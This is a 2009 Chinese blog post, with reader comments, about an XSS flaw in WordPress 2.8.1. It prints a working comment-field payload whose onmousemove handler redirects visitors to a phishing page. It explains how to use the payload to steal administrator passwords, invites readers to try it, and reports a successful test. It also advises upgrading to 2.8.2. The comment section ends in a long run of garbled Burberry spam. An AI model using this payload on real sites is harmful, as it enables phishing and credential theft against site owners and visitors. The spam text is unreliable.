© / Posted in 知识如海 / July 21, 2009
得到wordpress 2.8.1 存在XSS漏洞的消息。利用该漏洞，可以制作钓鱼页面(fishing)，从而骗取管理员密码，或者诱导浏览者打开存在木马的页面。漏洞的利用代码如下：
http://www.simpleseo.cn’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,115,105,109,112,108,101,115,101,111,46,99,110);
上述代码的使用方法很简单：你到一个存在漏洞的wordpress博客留言，在URL处填写上述代码，当浏览者将鼠标移动到URL处时，就可以自动跳转到你所设计的钓鱼网页了。（有兴趣的朋友可以直接用上面的代码试试
所以说，这次wordpress 2.8.1的XSS漏洞是比较严重的。建议使用wordpress的朋友及时升级的最新的wordpress 2.8.2版本。
转自简单SEO
呵呵，找这个漏洞的代码是想拿来实验一下的~~第一次实验没成功~~后来发现是那个单引号是中文的单引号的原因，改成英文的的确成功了~~
然后试着自己对比源代码来看看能不能找到漏洞成因……对比了半天，还没啥成效的时候，在网上搜索发现，鬼仔's blog里16号就已经有文章发出来了，分析得很详细了~~呵呵~~于是，直接看看就OK了，哎~~呵呵·~
上一篇：流血了…… | 下一篇：WordPress 代码添加算术验证码防止垃圾评论
我也是看了外国牛人的文章，才知道是这么一回事的，欢迎转载。
@思亭呵呵~~我看了鬼仔的博客后知道了什么回事了~~不过这漏洞，稍微细心点的管理员应该都不会中招的~~
鬼仔那里我也经常去打酱油：）
很不错的小站，大家可以多交流交流
我
welcome to our burberry outlet store ,there are many fashion and hight quality burberry bags wait for
you!
do you want to buy burberry bags for yourslf or your beat friends in sometimes?
please come to our burberry outlet store.yle burberry watches for you.do
our burberry outlet store offer many new st
not miss the fashion burbery Burberry T-shirts.
In burberry sunglasses stores it really is typically some sort of
most effective style which precisely the top notch and several middle-class are typically in a region to afford
Fouthy-six Putting on a new burberry watches for men and relish the
summertime Does one prefers to invest in Burberry bags?
as we all know the burberry brand is very famouse in the world.in burberry bags outlet store you
will have a good time!
there is new store,the name is burberry outlet !you are interested in new store,you will have a good
time in there.
If you use burberry bags ,you will feel very Summer feeling, so many girls put it
down.
evey women love the burberry shirts in life,the burberry can give you more
confidence in sometimes.
Jack bought the burberry sunglasses and the next day he came to the
interview in the Burberry cheak shirt.
Join forums that areparticularlymeant to talk about watches. If you are searching for burberry sale for women, then
obviouslycheck out women's forum.
One of the most popular British exports is the burberry outlet online .
The particular burberry bags typically reveal the actual Burberry renowned examine layout
which has been made popular by the garment range.
The color of burberry ties are bright but with the characters of mature and steady
the burberry shoes collection had occipied a large markey share and enjoys a massive
fan following.
I believe one's destiny of your burberry wallets long decrease jackets are
often more large-scale progress.